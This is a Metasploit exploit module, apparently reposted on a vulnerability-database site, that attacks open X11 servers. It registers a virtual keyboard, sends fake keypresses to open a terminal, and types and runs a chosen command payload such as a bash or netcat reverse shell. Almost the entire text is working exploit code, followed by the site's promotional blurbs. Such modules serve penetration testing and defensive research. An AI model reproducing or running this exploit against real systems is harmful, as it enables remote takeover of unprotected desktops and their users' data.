`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
KB_KEYS = {
'1' => "\x0a",
'2' => "\x0b",
'3' => "\x0c",
'4' => "\x0d",
'5' => "\x0e",
'6' => "\x0f",
'7' => "\x10",
'&' => "\x10",
'8' => "\x11",
'9' => "\x12",
'(' => "\x12",
'0' => "\x13",
')' => "\x13",
'-' => "\x14",
'=' => "\x15",
'q' => "\x18",
'w' => "\x19",
'e' => "\x1a",
'r' => "\x1b",
't' => "\x1c",
'y' => "\x1d",
'u' => "\x1e",
'i' => "\x1f",
'o' => "\x20",
'p' => "\x21",
'[' => "\x22",
'{' => "\x22",
']' => "\x23",
'}' => "\x23",
'a' => "\x26",
's' => "\x27",
'd' => "\x28",
'f' => "\x29",
'g' => "\x2a",
'h' => "\x2b",
'j' => "\x2c",
'k' => "\x2d",
'l' => "\x2e",
';' => "\x2f",
':' => "\x2f",
"'" => "\x30",
'"' => "\x30",
'`' => "\x31",
'~' => "\x31",
'lshift' => "\x32",
'\\' => "\x33",
'|' => "\x33",
'z' => "\x34",
'x' => "\x35",
'c' => "\x36",
'v' => "\x37",
'b' => "\x38",
'n' => "\x39",
'm' => "\x3a",
',' => "\x3b",
'<' => "\x3b",
'.' => "\x3c",
'>' => "\x3c",
'/' => "\x3d",
'*' => "\x3f",
'alt' => "\x40",
' ' => "\x41",
'f2' => "\x44"
}
def initialize(info = {})
super(update_info(info,
'Name' => 'X11 Keyboard Command Injection',
'Description' => %q{
This module exploits open X11 servers by connecting and registering a
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
terminal and type and execute the specified payload.
},
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'Privileged' => false,
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'gawk bash-tcp python netcat'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'xterm (Generic)', {}],
[ 'gnome-terminal (Ubuntu)', {}],
], 'DisclosureDate' => 'Jul 10 2015',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6000),
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
], self.class)
end
def xkeyboard_key
req = ""
req << @xkeyboard_opcode
req << "\x05" # Extension minor: 5 (LatchLockState)
req << "\x04\x00" # Request length: 4
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
req << "\x00" # affectModLocks: 0
req << "\x00" # modLocks: 0
req << "\x01" # lockGroup: True
req << "\x00" # groupLock: 0
req << "\x00" # affectModLatches: 0
req << "\x00" # Unused
req << "\x00" # latchGroup: False
req << "\x00\x00" # groupLatch: 0
req << "\x00" # Undecoded
return req
end
def press_key(key)
req = xkeyboard_key
req << @xtest_opcode
req << "\x02" # Extension minor: 2 (FakeInput)
req << "\x09\x00" # Request length: 9
req << "\x02" # Press key (Type: 2)
req << key # What key to press
req << "\x04\x00" # Unused?
req << "\x00\x00\x00\x00" # Time
req << "\x00\x00\x00\x00" # Root
req << "\x07\x00\x07\x00" # Unused?
req << "\x88\x04\x02\x00" # Unused?
#req << "\x00\x01" # rootX: 256
#req << "\xf5\x05" # rootY: 1525
req << "\x00\x00" # rootX: 0
req << "\x00\x00" # rootY: 0
req << "\x00\x00\x00\x00" # Unused?
req << "\x00\x00\x00" # Unused?
req << "\x00" # deviceid: 0
req << xkeyboard_key
req << "\x2b" # Opcode 43: GetInputFocus
req << "\x00" # Unused
req << "\x01\x00" # Request length: 1
sock.put(req)
res = sock.get_once
# Response should give 1 on first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
end
end
def release_key(key)
req = xkeyboard_key
req << @xtest_opcode
req << "\x02" # Extension minor: 2 (FakeInput)
req << "\x09\x00" # Request length: 9
req << "\x03" # Release key (Type: 3)
req << key # What key to release
req << "\x04\x00" # Unused?
req << "\x00\x00\x00\x00" # Time
req << "\x00\x00\x00\x00" # Root
req << "\x07\x00\x07\x00" # Unused?
req << "\x88\x04\x02\x00" # Unused?
#req << "\x00\x01" # rootX: 256
#req << "\xf5\x05" # rootY: 1525
req << "\x00\x00" # rootX: 0
req << "\x00\x00" # rootY: 0
req << "\x00\x00\x00\x00" # Unused?
req << "\x00\x00\x00" # Unused?
req << "\x00" # deviceid: 0
req << xkeyboard_key
req << "\x2b" # Opcode 43: GetInputFocus
req << "\x00" # Unused
req << "\x01\x00" # Request length: 1
sock.put(req)
res = sock.get_once
# Response should give 1 on first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
end
end
def type_command(command)
# Specify the special keys which need to have shift pressed first to type
specialkeys = '<>{}|"&()'.chars
values = command.chars
values.each do |value|
key = KB_KEYS[value]
# Special keys need a shift pressed to be typed
if Regexp.union(specialkeys) =~ value
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(key)
release_key(KB_KEYS["lshift"])
release_key(key)
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
elsif value =~ /[A-Z]/
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(KB_KEYS[value.downcase])
release_key(KB_KEYS["lshift"])
release_key(KB_KEYS[value.downcase])
# All normal keys which are not special keys or uppercase characters
else
press_key(key)
release_key(key)
end
end
# Send an enter
press_key("\x24") # [enter]
release_key("\x24") # [enter]
end
def send_msg(sock, data)
sock.put(data)
data = ""
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
rescue EOFError
end
data
end
def exploit
begin
connect
print_status("#{rhost}:#{rport} - Register keyboard")
req = "\x6c" # Byte order (Little-Endian)
req << "\x00" # Unused
req << "\x0b\x00" # Protocol major version: 11
req << "\x00\x00" # Protocol minor version: 0
req << "\x00\x00" # Authorization protocol name length: 0
req << "\x00\x00" # Authorization protocol data length: 0
req << "\x00\x00" # Unused
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
end
# Keyboard registration
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x05\x00" # Request length: 5
req << "\x09\x00" # Name length: 9
req << "\x60\x03" # Unused?
req << "XKEYBOARD" # Name
req << "\x00\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
else
#puts res.inspect
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
end
req = ""
req << @xkeyboard_opcode
req << "\x00" # Extension minor: 0 (UseExtension)
req << "\x02\x00" # Request length: 2
req << "\x01\x00" # Wanted Major: 1
req << "\x00\x00" # Wanted Minor: 0
# Retrieve the whole X11 details response
res = send_msg(sock,req)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x06\x00" # Request length: 6
req << "\x0f\x00" # Name length: 15
req << "\x00\x00" # Unused
req << "XInputExtension" # Name
req << "\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x04\x00" # Request length: 4
req << "\x05\x00" # Name length: 5
req << "\x00\x00" # Unused
req << "XTEST" # Name
req << "\x00\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
end
req = "\x62" # Opcode 98: QueryExtension
req << "\x00" # Unused
req << "\x08\x00" # Request length
req << "\x17\x00" # Name length
req << "\x00\x00" # Unused
req << "Generic Event Extension" # Name
req << "\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
if res && res[0,1] == "\x01"
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
end
req = ""
req << @genericevent_opcode
req << "\x00" # Extension minor: 0 (QueryVersion)
req << "\x02\x00" # Request length: 2
req << "\x01\x00" # Client major version: 1
req << "\x00\x00" # Client minor version: 0
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end
req = ""
req << @xtest_opcode
req << "\x00" # Extension minor: 0 (GetVersion)
req << "\x02\x00" # Request length: 2
req << "\x02\x00" # Major version: 2
req << "\x02\x00" # Minor version: 2
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
end
req = "\x65" # Opcode 101: GetKeyboardMapping
req << "\x00" # Unused
req << "\x02\x00" # Request length: 2
req << "\x08" # First keycode: 8
req << "\xf8" # Count: 248
req << "\x02\x00" # Unused?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
end
req = ""
req << @xkeyboard_opcode
req << "\x08" # Extension minor: 8 (GetMap)
req << "\x07\x00" # Request length: 7
req << "\x00\x01" # Device spec: 0x0100 (256)
req << "\x07\x00" # Full: 7
req << "\x00\x00" # Partial: 0
req << "\x00" # firsType: 0
req << "\x00" # nTypes: 0
req << "\x00" # firstKeySym: 0
req << "\x00" # nKeySym: 0
req << "\x00" # firstKeyAction: 0
req << "\x00" # nKeysActions: 0
req << "\x00" # firstKeyBehavior: 0
req << "\x00" # nKeysBehavior: 0
req << "\x00\x00" # virtualMods: 0
req << "\x00" # firstKeyExplicit: 0
req << "\x00" # nKeyExplicit: 0
req << "\x00" # firstModMapKey: 0
req << "\x00" # nModMapKeys: 0
req << "\x00" # firstVModMapKey: 0
req << "\x00" # nVModMapKeys: 0
req << "\x00\x00" # Unused, padding?
# Retrieve the whole X11 details response
res = send_msg(sock,req)
# Response should give 0x01 in first byte (Success)
unless res && res[0,1] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
end
# Press ALT+F2 to start up "Run application"
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
press_key(KB_KEYS["alt"])
press_key(KB_KEYS["f2"])
release_key(KB_KEYS["alt"])
release_key(KB_KEYS["f2"])
# Wait X seconds to open the dialog
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
Rex.sleep(datastore['TIME_WAIT'])
if datastore['TARGET'] == 0
# Start a xterm terminal
print_status("#{rhost}:#{rport} - Opening xterm")
type_command("xterm")
else
# Start a Gnome terminal
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
type_command("gnome-terminal")
end
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
# Wait X seconds to open the terminal
Rex.sleep(datastore['TIME_WAIT'])
# "Type" our payload and execute it
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
type_command(command)
handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation